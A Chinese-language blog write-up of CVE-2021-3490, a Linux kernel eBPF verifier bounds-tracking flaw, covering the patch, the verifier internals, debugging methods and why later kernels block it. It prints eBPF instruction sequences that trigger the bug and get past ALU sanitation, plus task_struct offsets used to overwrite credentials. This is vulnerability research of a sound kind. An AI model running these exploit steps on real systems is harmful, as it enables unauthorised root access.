【kernel exploit】CVE-2021-3490 eBPF 32位边界计算错误漏洞
文章首发于安全客：CVE-2021-3490 eBPF 32位边界计算错误漏洞利用分析
影响版本：Linux 5.7-rc1以后，Linux 5.13-rc4 以前； v5.13-rc4已修补，v5.13-rc3未修补。 评分7.8分。
测试版本：Linux-5.11 和 Linux-5.11.16 exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory
编译选项：CONFIG_BPF_SYSCALL，config所有带BPF字样的。 CONFIG_SLAB=y
General setup —> Choose SLAB allocator (SLUB (Unqueued Allocator)) —> SLAB
在编译时将.config中的CONFIG_E1000和CONFIG_E1000E，变更为=y。参考
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-5.11.16.tar.xz
$ tar -xvf linux-5.11.16.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录：/arch/x86/boot/bzImage。
漏洞描述：Linux内核中按位操作（AND、OR 和 XOR）的 eBPF ALU32 边界跟踪没有正确更新 32 位边界，造成 Linux 内核中的越界读取和写入，从而导致任意代码执行。三个漏洞函数分别是 scalar32_min_max_and() 、scalar32_min_max_or()、scalar32_min_max_xor()。AND/OR 是在 Linux 5.7-rc1 中引入，XOR 是在 Linux 5.10-rc1中引入。
补丁：patch 若低32位都为 known，则调用 __mark_reg32_known()，将32位边界设置为reg的低32位（常数），保证最后更新边界时，有正确的边界。
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 757476c91c984..9352a1b7de2dd 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -7084,11 +7084,10 @@ static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
s32 smin_val = src_reg->s32_min_value;
u32 umax_val = src_reg->u32_max_value;
- /* Assuming scalar64_min_max_and will be called so its safe
- * to skip updating register for known 32-bit case.
- */
- if (src_known && dst_known)
+ if (src_known && dst_known) {
+ __mark_reg32_known(dst_reg, var32_off.value);
return;
+ }
/* We get our minimum from the var_off, since that's inherently
* bitwise. Our maximum is the minimum of the operands' maxima.
@@ -7108,7 +7107,6 @@ static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
dst_reg->s32_min_value = dst_reg->u32_min_value;
dst_reg->s32_max_value = dst_reg->u32_max_value;
}
-
}*/
static void __mark_reg32_known(struct bpf_reg_state *reg, u64 imm)
{
reg->var_off = tnum_const_subreg(reg->var_off, imm);
reg->s32_min_value = (s32)imm;
reg->s32_max_value = (s32)imm;
reg->u32_min_value = (u32)imm;
reg->u32_max_value = (u32)imm;
}
保护机制：开启KASLR/SMEP/SMAP。
利用总结：利用verifier阶段与runtime执行阶段的不一致性，进行越界读写。泄露内核基址、伪造函数表、实现任意读写后篡改本线程的cred。
1. 漏洞分析
参考：BPF介绍和相似漏洞分析，可参考CVE-2020-8835利用，里面也有var_off 也即tnum结构的含义。总之，其成员 value 表示确定的值，mask 对应的位是1则表示该位不确定。
漏洞根源：eBPF指令集可以对64位寄存器或低32位进行操作，verifier也会对低32位进行范围追踪：{u,s}32_{min,max}_value。每次进行指令操作，有两个函数会分别更新64位和32位的边界，在 adjust_scalar_min_max_vals() 中调用这两个函数。很多BPF漏洞都出现在对32位边界的处理上。CVE-2021-3490也出现在32位运算 BPF_AND、BPF_OR、BPF_XOR 中。
1-1 代码跟踪
漏洞调用链：adjust_scalar_min_max_vals() -> scalar32_min_max_and()
*
/* WARNING: This function does calculations on 64-bit values, but * the actual execution may occur on 32-bit values. Therefore, * things like bitshifts need extra checks in the 32-bit case.
*/
static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state
*dst_reg,
struct bpf_reg_state src_reg)
{
...
case BPF_AND:
dst_reg->var_off = tnum_and(dst_reg->var_off,
src_reg.var_off);
scalar32_min_max_and(dst_reg, &src_reg); // [1] <--- 漏洞点
scalar_min_max_and(dst_reg, &src_reg);
break;
case BPF_OR:
dst_reg->var_off = tnum_or(dst_reg->var_off,
src_reg.var_off);
scalar32_min_max_or(dst_reg, &src_reg); // <--- 漏洞点
scalar_min_max_or(dst_reg, &src_reg);
break;
case BPF_XOR:
dst_reg->var_off = tnum_xor(dst_reg->var_off,
src_reg.var_off);
scalar32_min_max_xor(dst_reg, &src_reg); // <--- 漏洞点
scalar_min_max_xor(dst_reg, &src_reg);
break;
...
__update_reg_bounds(dst_reg); // [2]
__reg_deduce_bounds(dst_reg);
__reg_bound_offset(dst_reg);
return 0;
}
[1]： 对比32位和64位的BPF_AND操作。低32位 BPF_AND 中，若 src_reg 和 dst_reg 都为 known，则不用更新32位的边界（开发者假设，反正之后还是会调用 scalar_min_max_and() -> __mark_reg_known() 来标记寄存器的，所以暂时不用处理），直接返回。64位 BPF_AND 中，若 src_reg 和 dst_reg 都为 known，则调用 __mark_reg_known() 将寄存器标记为 known。
问题：scalar32_min_max_and() 32位中，*_known 变量是调用 tnum_subreg_is_const() 来计算的，而 scalar_min_max_and() 64位中是调用 tnum_is_const() 来计算的。区别是，前者只判断低32位的 tnum->mask 来判断是否为 known，后者则判断整个64位是否为 known。如果某个寄存器的高32位不确定，而低32位是确定的，则 scalar_min_max_and() 也不会调用 __mark_reg_known() 来标记寄存器。
static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_subreg_is_const(src_reg->var_off);
bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
struct tnum var32_off = tnum_subreg(dst_reg->var_off);
s32 smin_val = src_reg->s32_min_value;
u32 umax_val = src_reg->u32_max_value;
/* Assuming scalar64_min_max_and will be called so its safe
* to skip updating register for known 32-bit case. 开发者假设，反正之后还是会调用scalar_min_max_and() -> __mark_reg_known() 来标记寄存器的，所以暂时不用处理，直接返回。但是如果某个寄存器的高32位不确定，而低32位是确定的，则 scalar_min_max_and() 不会调用 __mark_reg_known()。
*/
if (src_known && dst_known)
return;
...
}
static void scalar_min_max_and(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_is_const(src_reg->var_off);
bool dst_known = tnum_is_const(dst_reg->var_off);
s64 smin_val = src_reg->smin_value;
u64 umin_val = src_reg->umin_value;
if (src_known && dst_known) {
__mark_reg_known(dst_reg, dst_reg->var_off.value);
return;
}
...
}
[2]：接着 adjust_scalar_min_max_vals() 会调用以下三个函数来更新 dst_reg 寄存器的边界。每个函数都包含32位和64位的处理部分，我们这里只关心32位的处理部分。reg 的边界是根据当前边界和 reg->var_off 来计算的。
// __update_reg32_bounds() —— min边界是取 min{当前min边界、reg确定的值}，会变大；max边界是取 max{当前max边界，reg确定的值}，会变小。
static void __update_reg32_bounds(struct bpf_reg_state *reg)
{
struct tnum var32_off = tnum_subreg(reg->var_off);
/* min signed is max(sign bit) | min(other bits) */
reg->s32_min_value = max_t(s32, reg->s32_min_value,
var32_off.value | (var32_off.mask &
S32_MIN));
/* max signed is min(sign bit) | max(other bits) */
reg->s32_max_value = min_t(s32, reg->s32_max_value,
var32_off.value | (var32_off.mask &
S32_MAX));
reg->u32_min_value = max_t(u32, reg->u32_min_value,
(u32)var32_off.value);
reg->u32_max_value = min(reg->u32_max_value,
(u32)(var32_off.value |
var32_off.mask));
}
// __reg32_deduce_bounds() —— 接着用符号和无符号边界来互相更新
/* Uses signed min/max values to inform unsigned, and vice-versa */
static void __reg32_deduce_bounds(struct bpf_reg_state *reg)
{
/* Learn sign from signed bounds.
* If we cannot cross the sign boundary, then signed and
* unsigned bounds
* are the same, so combine. This works even in the
* negative case, e.g.
* -3 s<= x s<= -1 implies 0xf...fd u<= x u<= 0xf...ff.
*/
if (reg->s32_min_value >= 0 || reg->s32_max_value < 0) {
reg->s32_min_value = reg->u32_min_value =
max_t(u32, reg->s32_min_value,
reg->u32_min_value);
reg->s32_max_value = reg->u32_max_value =
min_t(u32, reg->s32_max_value,
reg->u32_max_value);
return;
}
...
}
// __reg_bound_offset() —— 最后，用无符号边界来更新 var_off
static void __reg_bound_offset(struct bpf_reg_state *reg)
{
struct tnum var64_off = tnum_intersect(reg->var_off, // tnum_intersect() —— 组合两个tnum参数
tnum_range(reg->umin_value, // tnum_range() —— 返回一个tnum，表示给定范围内，所有可能的值。
reg->umax_value));
struct tnum var32_off = tnum_intersect(tnum_subreg(reg->var_off),tnum_range(reg->u32_min_value, reg->u32_max_value));
reg->var_off = tnum_or(tnum_clear_subreg(var64_off),
var32_off);
}
1-2 触发漏洞
BPF代码示例：例如指令BPF_ALU64_REG(BPF_AND, R2, R3)，对 R2 和 R3 进行与操作，并保存到 R2。
R2->var_off = {mask = 0xFFFFFFFF00000000; value = 0x1}，表示R2低32位已知为1，高32位未知。由于低32位已知，所以其32位边界也为1。R3->var_off = {mask = 0x0; value = 0x100000002}，表示其整个64位都已知，为0x100000002。
更新R2的32位边界的步骤如下：
先调用 adjust_scalar_min_max_vals() -> tnum_and() 对
R2->var_off和R3->var_off进行AND操作，并保存到R2->var_off。结果R2->var_off = {mask = 0x100000000; value = 0x0}，由于R3是确定的且R2高32位不确定，所以运算后，只有第32位是不确定的。struct tnum tnum_and(struct tnum a, struct tnum b) { u64 alpha, beta, v; alpha = a.value | a.mask; beta = b.value | b.mask; v = a.value & b.value; return TNUM(v, alpha & beta & ~v); }再调用 adjust_scalar_min_max_vals() -> scalar32_min_max_and()，会直接返回，因为R2和R3的低32位都已知。
再调用 adjust_scalar_min_max_vals() -> __update_reg_bounds() -> __update_reg32_bounds() ，会设置
u32_max_value = 0，因为var_off.value = 0 < u32_max_value = 1。同时，设置u32_min_value = 1，因为var_off.value = 0 < u32_min_value。带符号边界也一样。__reg32_deduce_bounds() 和 __reg_bound_offset() 对边界不作任何改变。最后得到寄存器 R2 —
{u,s}32_max_value = 0 < {u,s}32_min_value = 1。
1-3 调试BPF的方法
写和调试BPF程序：可使用rbpf。
verifier 日志输出：加载BPF程序时进行如下设置，即可在verifier检测出指令错误时输出指令信息。正常调试时，可以下源码断点，断在do_check() 函数中，具体观察 verifier 检查每条指令时寄存器的状态。
char verifier_log_buff[0x200000] = {0}; // 这段缓冲区必须足够大，否则会出错
union bpf_attr prog_attrs =
{
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = cnt,
.insns = (uint64_t)insn,
.license = (uint64_t)"",
.log_level = 2, // 设置为 1 时，就能输出简洁的指令信息
.log_size = sizeof(verifier_log_buff),
.log_buf = verifier_log_buff
};
// 输出示例
34: (bf) r6 = r3
35: R0_w=invP0 R2_w=map_value(id=0,off=0,ks=4,vs=4919,imm=0) R3_w=map_value(id=0,off=0,ks=4,vs=4919,imm=0) R4_w=invP0 R5_w=invP4294967298 R6_w=map_value(id=0,off=0,ks=4,vs=4919,imm=0) R7_w=invP(id=0) R10=fp0 fp-8=mmmm????
35: (7b) *(u64 *)(r2 +8) = r6
R6 leaks addr into map
runtime调试：如果BPF通过了verifier检查，如何获取BPF程序运行时的信息呢？答案是插桩。ALU Sanitation也是运行时检查指令执行情况的保护机制，可以通过插桩观察BPF指令是否已经改变。这里需要了解一个编译选项，编译时设置CONFIG_BPF_JIT，则BPF程序在verifier验证后是JIT及时编译的；如果不设置该选项，则采用eBPF解释器来解码并执行BPF程序，代码位于kernel/bpf/core.c:___bpf_prog_run()。
regs指向寄存器值，insn指向指令。为了获取每条指令执行时的寄存器状态，可以关闭CONFIG_BPF_JIT选项并插入printk语句。示例如下：
static u64 ___bpf_prog_run(u64 *regs, const struct bpf_insn *insn)
{
...
int lol = 0;
// Check the first instruction to match the first instruction of
// the target eBPF program to debug, so output isn't printed for
// every eBPF program that is ran. 只打印部分指令的信息
if(insn->code == 0xb7)
{
lol = 1;
}
select_insn:
if(lol)
{
printk("instruction is: %0x\n", insn->code);
printk("r0: %llx, r1: %llx, r2: %llx\n", regs[0],
regs[1], regs[2]);
...
}
goto *jumptable[insn->code];
...
}
2. 漏洞利用 Linux v5.11.7 及以前版本
特点：我们采用Linux v5.11 版本的内核进行测试，特点是不需要绕过一种ALU Sanitation，之后我们会详细介绍。
总目标：构造 r6 寄存器，使得 verifier 认为 r6 等于0，但实际执行时等于1。
2-1 触发漏洞
首先，我们需要构造出两个寄存器的值状态，分别为var_off = {mask = 0xFFFFFFFF00000000; value = 0x1} 和 var_off = {mask = 0x0; value = 0x100000002}。然后触发漏洞，得到 r6 的 u32_max_value = 0 < u32_min_value = 1。
注意：实际从map传入的 r5 = r6 = 0。
// (1) 构造 r6: var_off = {mask = 0xFFFFFFFF00000000; value = 0x1}
BPF_MAP_GET(0, BPF_REG_5), // (79) r5 = *(u64 *)(r0 +0) 从MAP传入值，这样其 mask=0xffffffffffffffff
BPF_MOV64_REG(BPF_REG_6, BPF_REG_5), // (bf) r6 = r5
BPF_LD_IMM64(BPF_REG_2, 0xFFFFFFFF), // (18) r2 = 0xffffffff
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32), // (67) r2 <<= 32 0xFFFFFFFF00000000
BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_2), // (5f) r6 &= r2 高32位unknown, 低32位known为0
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1), // (07) r6 += 1 {mask = 0xFFFFFFFF00000000, value = 0x1}
// (2) 构造 r2: var_off = {mask = 0x0; value = 0x100000002}
BPF_LD_IMM64(BPF_REG_2, 0x1), // (18) r2 = 0x1
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32), // (67) r2 <<= 32 0x10000 0000
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 2), // (07) r2 += 2 {mask = 0x0; value = 0x100000002}
// (3) trigger the vulnerability
BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_8), // (5f) r6 &= r2 r6: u32_min_value=1, u32_max_value=0
2-2 构造 verifier:0 tuntime:1
// (4) 构造 r5 (r5也是MAP载入的值——0): u32_min_value = 0, u32_max_value = 1, var_off = {mask = 0xFFFFFFFF00000001; value = 0x0}
BPF_JMP32_IMM(BPF_JLE, BPF_REG_5, 1, 1), // (b6) if w5 <= 0x1 goto pc+1 r5: u32_min_value = 0, u32_max_value = 1, var_off = {mask = 0xFFFFFFFF00000001; value = 0x0}
BPF_EXIT_INSN(),
// (5) 构造 r6: verifier:0 tuntime:1
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1), // (07) r6 += 1 r6: u32_max_value = 1, u32_min_value = 2, var_off = {0x100000000; value = 0x1}
BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_5), // (0f) r6 += r5 r6: verify:2 fact:1 !!!!!!!!!!!!!!!!!!!!!!!
BPF_MOV32_REG(BPF_REG_6, BPF_REG_6), // (bc) w6 = w6 32位扩展为64位
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 1), // (57) r6 &= 1 r6: verify:0 fact:1
r6 += r5分析：目前寄存器状态，r6—u32_min_value=2, u32_max_value=1, var_off = {mask = 0x100000000; value = 0x1}，r5—u32_min_value=0, u32_max_value=1, var_off = {mask = 0xFFFFFFFF00000001; value = 0x0}。
static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state
*dst_reg,
struct bpf_reg_state src_reg)
{
...
switch (opcode) {
case BPF_ADD:
scalar32_min_max_add(dst_reg, &src_reg); // [1] <---------
scalar_min_max_add(dst_reg, &src_reg);
dst_reg->var_off = tnum_add(dst_reg->var_off,
src_reg.var_off);
break;
...
__update_reg_bounds(dst_reg); // [2]
__reg_deduce_bounds(dst_reg); // [3]
__reg_bound_offset(dst_reg); // [4]
return 0;
}
// [1] 由于r5的低32位是0或1，r6的低32位是1，所以相加结果为1或2，所以低32位的1、2位都为unknown。其mask=0xffffffff 00000003
static void scalar32_min_max_add(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
s32 smin_val = src_reg->s32_min_value;
s32 smax_val = src_reg->s32_max_value;
u32 umin_val = src_reg->u32_min_value;
u32 umax_val = src_reg->u32_max_value;
...
if (dst_reg->u32_min_value + umin_val < umin_val ||
dst_reg->u32_max_value + umax_val < umax_val) { // 判断是否越界
dst_reg->u32_min_value = 0;
dst_reg->u32_max_value = U32_MAX;
} else {
dst_reg->u32_min_value += umin_val; // 没越界则直接相加，min+min, max+max
dst_reg->u32_max_value += umax_val;
}
}
接着 adjust_scalar_min_max_vals() 会调用 __update_reg_bounds()、__reg_deduce_bounds()、__reg_bound_offset()。
__update_reg32_bounds()中，var_off表示低32位，reg->u32_min_value = max{2, 0} = 2，reg->u32_max_value = min{2, 0 | 0x3} = 2（var32_off.mask = 3）。__reg32_deduce_bounds()未做修改，因为signed 32和unsigned 32都相等。__reg32_deduce_bounds()中，tnum_range()返回常数2（因为u32_min_value = u32_max_value=2该范围内只有2），由于reg->var_off.mask = 0x3，所以tnum_intersect()返回低2位是 known且为2。
最终得到 r6: {u,s}32_min_value = {u,s}32_max_value = 2, var_off = {mask = 0xFFFFFFFF00000000; value = 0x2}。
// [2] __update_reg32_bounds()
reg->u32_min_value = max_t(u32, reg->u32_min_value,
(u32)var32_off.value);
reg->u32_max_value = min(reg->u32_max_value,
(u32)(var32_off.value | var32_off.mask)); // var32_off.mask=0x3
// [4] __reg32_deduce_bounds()
struct tnum var32_off = tnum_intersect(tnum_subreg(reg->var_off), // tnum_subreg取低32位
tnum_range(reg->u32_min_value, // 根据min、max返回一个tnum结构
reg->u32_max_value));
struct tnum tnum_intersect(struct tnum a, struct tnum b)
{
u64 v, mu;
v = a.value | b.value; // 简单的整合
mu = a.mask & b.mask;
return TNUM(v & ~mu, mu);
}
此时的 r6—{mask = 0xFFFFFFFF00000000; value = 0x2} verifier:2 runtime:1，只需取低32位并 AND 1，即可得到 verifier:0 runtime:1。
2-3 提权
后面的利用步骤和CVE-2021-31440一样，参照 CVE-2021-31440 eBPF边界计算错误漏洞 的exp即可提权。
3. 漏洞利用 Linux v5.11.8 - 5.11.16 版本
特点：我们采用 Linux v5.11.16 版本的内核进行测试，Ubuntu 21.04就是这个版本。2021年3月修复了一个verifier计算alu_limit（与ALU Sanitation安全机制有关）时的整数溢出漏洞——commit 10d2bb2e6b1d8c，导致 Linux 5.11.8 - 5.11.16 这个版本区间的内核无法利用成功。当alu_limit = 0时会触发该漏洞，例如，当对map地址指针进行减法操作时（之前exp这么写，是为了构造越界访问，如泄露内核基址，或者修改map内存之前的 bpf_map 结构），会加入如下sanitation指令：0-1 将得到 aux→alu_limit = 0xFFFFFFFF。
*patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit - 1);
这个漏洞的存在，导致ALU Sanitation机制失效了，因为 alu_limit 变得很大了，检测不到越界访问，所以之前那些公开的exp都能利用成功。但是这个漏洞被修复以后，就需要绕过这个限制，需要多加5条指令来绕过该机制。
绕过该ALU Sanitation：r7指向map，r6是verifier以为是0而运行时为1的那个值。需要在r7指针进行运算前，使alu_limit != 0。
- （1）
r8 = r6先拷贝一下——r8 verifier:0 runtime:1。 - （2）
r7 += 0x1000，map指针加上一个常量，以设置alu_limit=0x1000，这样就能绕过运行时的ALU Sanitation。 - （3）
r8 = r8 * 0xfff——r8 verifier:0 runtime:0xfff。 - （4）
r7 -= r8， 由于verifier以为r8等于0，所以alu_limit保持不变。 - （5）
r7 -= r6——r7 verifier:map+0x1000 runtime:map。
注意：
创建map时必须足够大，调用
syscall(__NR_BPF, BPF_MAP_CREATE, ...)时第3个参数bpf_attr->value_size要大于0x1000，不然执行第2条指令时就会报指针越界的错误。BPF_MOV64_REG(BPF_REG_8, BPF_REG_6), // 1-1. (bf) r8 = r6 BPF_REG_3 = BPF_REG_6 !!! 1-1 -> 1-5 是为了绕过alu_limit的限制 BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x1000), // 1-2. (07) r7 += 0x1000 !!! 注意，map不能过小，小于0x1000 就报错 BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0xfff), // 1-3. verifier: r8=0; runtime: r8=0x1000-1 BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8), // 1-4. r7 -= r8 BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6), // 1-5. r7 -= r6和
Linux v5.11版本相比，还需要修改cred search的相关偏移：gef➤ p/x &(*(struct task_struct *)0)->pid $9 = 0x918 gef➤ p/x &(*(struct task_struct *)0)->cred $10 = 0xad8 gef➤ p/x &(*(struct task_struct *)0)->tasks $11 = 0x818
4. 漏洞利用 Linux v5.11.16以后的版本
特点：目前无法绕过最新的ALU Sanitation保护机制。2021年4月ALU Sanitation引入新的 patch—commit 7fedb63a8307，新增了两个特性。
一是
alu_limit计算方法变了，不再用指针寄存器的位置来计算，而是使用offset寄存器。例如，假设有个寄存器的无符号边界是umax_value = 1, umin_value = 0，则计算出alu_limit = 1，表示如果该寄存器在运行时超出边界，则指针运算不会使用该寄存器。二是在runtime时会用立即数替换掉
verifier认定为常数的寄存器。例如，BPF_ALU64_REG(BPF_ADD, BPF_REG_2, EXPLOIT_REG)，EXPLOIT_REG被verifier认定为0，但运行时为1，则 将该指令改为BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 0)。这个补丁本来是为了防侧信道攻击，同时也阻止了CVE-2021-3490漏洞的利用。// 以下补丁可看出，如果不确定offset寄存器是否为常量，则根据其alu_limit进行检查；如果确定其为常量，则用其常量值将其操作patch为立即数指令。 bool off_is_imm = tnum_is_const(off_reg->var_off); alu_state |= off_is_imm ? BPF_ALU_IMMEDIATE : 0; isimm = aux->alu_state & BPF_ALU_IMMEDIATE; ... if (isimm) { *patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit); } else { // Patch alu_limit check instructions .... }
检查发现，v5.11.17 已打该补丁，v5.11.16 未打该补丁。所以 v5.11.16 以上版本的内核就无法利用漏洞进行越界读写，不知道以后能不能绕过这个限制。
5. ALU Sanitation机制
原理：ALU sanitation机制一直在进行更新，其目的是为了阻止verifier漏洞的利用，原理是在runtime运行时检查BPF指令的操作数，防止指针运算越界导致越界读写，其实是对verifier静态范围检查起到了补充的作用。
如果某条ALU运算指令的操作数是1个指针和1个标量，则计算alu_limit 也即最大绝对值，就是该指针可以进行加减的安全范围。在该指令之前必须加上如下指令，off_reg表示与指针作运算的标量寄存器，BPF_REG_AX是辅助寄存器。
- （1）将
alu_limit载入BPF_REG_AX。 - （2）
BPF_REG_AX = alu_limit - off_reg，如果off_reg > alu_limit，则BPF_REG_AX最高位符号位置位。 - （3）若
BPF_REG_AUX为正，off_reg为负，则表示alu_limit和寄存器的值符号相反，则BPF_OR操作会设置该符号位。 - （4）
BPF_NEG会使符号位置反，1->0，0->1。 - （5）
BPF_ARSH算术右移63位，BPF_REG_AX只剩符号位。 - （6）根据以上运算结果，
BPF_AND要么清零off_reg要么使其不变。
总体看来，如果off_reg > alu_limit 或者二者符号相反，表示有可能发生指针越界，则off_reg会被替换为0，清空指针运算。反之，如果标量在合理范围内—0 <= off_reg <= alu_limit，则算术移位会将BPF_REG_AX填为1，这样BPF_AND运算不会改变该标量。
*patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit);
*patch++ = BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, off_reg);
*patch++ = BPF_ALU64_REG(BPF_OR, BPF_REG_AX, off_reg);
*patch++ = BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0);
*patch++ = BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63);
*patch++ = BPF_ALU64_REG(BPF_AND, BPF_REG_AX, off_reg);
最近更新：最近更新了alu_limit的计算方法，见commit 7fedb63a8307d，这里我们对比一下更新前后的计算差异。
- 之前：
alu_limit由指针寄存器的边界确定，如果指针指向map的开头，则alu_limit可减的大小为0，可加的大小为map size-1，并且alu_limit随着接下来的指针运算而更新。 - 现在：
alu_limit由offset寄存器的边界来确定，将运行时offset寄存器的值与verifier静态范围追踪时计算出来的边界进行比较。
参考
Kernel Pwning with eBPF: a Love Story
https://nvd.nist.gov/vuln/detail/CVE-2021-3490
https://github.com/chompie1337/Linux_LPE_eBPF_CVE-2021-3490
文档信息
- 本文作者：bsauce
- 本文链接：https://bsauce.github.io/2021/08/31/CVE-2021-3490/
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